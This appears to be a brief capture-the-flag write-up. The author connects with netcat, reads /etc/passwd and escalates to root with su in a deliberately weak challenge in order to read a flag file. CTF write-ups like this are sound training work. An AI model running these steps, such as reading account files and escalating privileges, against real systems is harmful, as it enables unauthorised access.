First, connect via ***netcat***.
We got a shell, let's look around:
`/ $ ls`
=> We see the ***flag*** file.
`/ $ cat flag`
=> Not enough permissions.
Are there many other users?
`/ $ cat /etc/passwd`
=> Only ***root*** seems to be available. Let's try switching to it:
`/ $ su`
=>
`/ #`
=> See the ***#***? This worked! We got ***root***!
`/ # cat flag`
=> Here's the flag! The challenge is solved! :)
